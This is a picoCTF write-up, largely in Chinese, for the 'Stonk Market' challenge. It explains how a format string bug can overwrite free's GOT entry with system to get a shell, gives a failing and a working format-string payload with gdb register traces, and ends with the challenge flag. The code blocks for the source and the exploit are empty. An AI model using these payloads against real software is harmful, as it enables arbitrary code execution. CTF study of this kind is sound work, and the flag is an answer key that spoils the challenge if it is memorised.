PicoCTF - Stonk Market
Background
FMT
Source code
1 | |
Recon
這一題是參考了1,可以看到source code中的buy_stonks function出現format string bug,我一開始看了很久,以為這一題是和heap有關的問題
1的做法是:
先把free的got address(0x602018)利用fmt寫到某一個位置,然後再改變got指向的位置(0x4006c6),變成指向system的位置(0x4006f0),再把sh\x00的string寫到某一個chunk中,之後當call到free並且要free掉我們指定的那個chunk時,他就會執行system(sh\x00),成功執行shell
Analysis
當程式執行到<printf_positional+7716> mov BYTE PTR [rax], bl(如下)時,可以看一下rax數值在register中應對不同payload時的變化,我把完整的trace stack放在這一段的最下面,有興趣trace的人可以參考一下
1 | |
- Incorrect Payload:
%6299672c%12$n%216c%20$hhn%10504067c%10$n遇到的問題1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$rdi : 0x0 $rax : 0x0 $r8 : 0xffffffff $rbx : 0xf0 $rcx : 0x00007ffff7f78f40 → 0x0000000000000000 $r13 : 0x0 $r10 : 0x00007fffffffa580 → 0x00000000f7fb8723 $r12 : 0x1 $r14 : 0x00007fffffffa248 → 0x00000000ffffffff $r9 : 0x0 $rbp : 0x00007fffffffa9d0 → 0x00007fffffffaf90 → 0x00007fffffffd670 $rip : 0x00007ffff7e40bc4 → <printf_positional+7716> mov BYTE PTR [rax], bl $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $rdx : 0x00007ffff7e3f42a → <printf_positional+1674> endbr64 $r15 : 0x00007fffffffafc0 → 0x00000000fbad8004 $rsi : 0x00007fffffffa580 → 0x00000000f7fb8723 $r11 : 0x6e $rsp : 0x00007fffffffa060 → 0x0000000000000000 $gs: 0x00 $fs: 0x00 $es: 0x00 $cs: 0x33 $ss: 0x2b $ds: 0x00 - Correct Payload:
%c%c%c%c%c%c%c%c%c%c%6299662c%n%216c%20$hhn%10504067c%10$n1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$rdi : 0x0 $rax : 0x0000000000602018 → 0x00000000004006c6 → 0xffe0e90000000068 ("h"?) $r8 : 0xffffffff $rbx : 0xf0 $rcx : 0x00007ffff7f78f40 → 0x0000000000000000 $r13 : 0x0 $r10 : 0x00007fffffffa580 → 0x00000000f7fb8723 $r12 : 0x1 $r14 : 0x0000000000603cf8 → 0x00000000ffffffff $r9 : 0x0 $rbp : 0x00007fffffffa9d0 → 0x00007fffffffaf90 → 0x00007fffffffd670 $rip : 0x00007ffff7e40bc4 → <printf_positional+7716> mov BYTE PTR [rax], bl $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $rdx : 0x00007ffff7e3f42a → <printf_positional+1674> endbr64 $r15 : 0x00007fffffffafc0 → 0x00000000fbad8004 $rsi : 0x00007fffffffa580 → 0x00000000f7fb8723 $r11 : 0x6e $rsp : 0x00007fffffffa060 → 0x0000000000000000 $gs: 0x00 $fs: 0x00 $es: 0x00 $cs: 0x33 $ss: 0x2b $ds: 0x00可以看到
0x7ffff7e40bc4 mov BYTE PTR [rax], bl準備把0xf0的值放到rax指向的位置,但是如果是第一種payload,rax的value是0,而第二種payload所存放的value才是0x602018,所以這應該就是@ccccctw所提到的問題,一開始把0x602018寫入0x00007fffffffd7d0之前都還是零,所以第二種payload因為某種關係,他可以先把0x602018寫入0x00007fffffffd7d0,再把0x602018指向的0x4006c6最後一個byte改掉,而不是像第一種payload一樣,是同時執行所有的動作,導致系統還沒有把0x602018寫入0x00007fffffffd7d0,想當然0x00007fffffffd7d0的value也是零1
2
3
4... 0x00007fffffffd790│+0x0030: 0x00007fffffffd7d0 → 0x0000000000000000 ← $rbp ... 0x00007fffffffd7d0│+0x0070: 0x0000000000000000
1 | |
Exploit - FMT
1 | |
Flag: picoCTF{explo1t_m1t1gashuns_641dcdf1}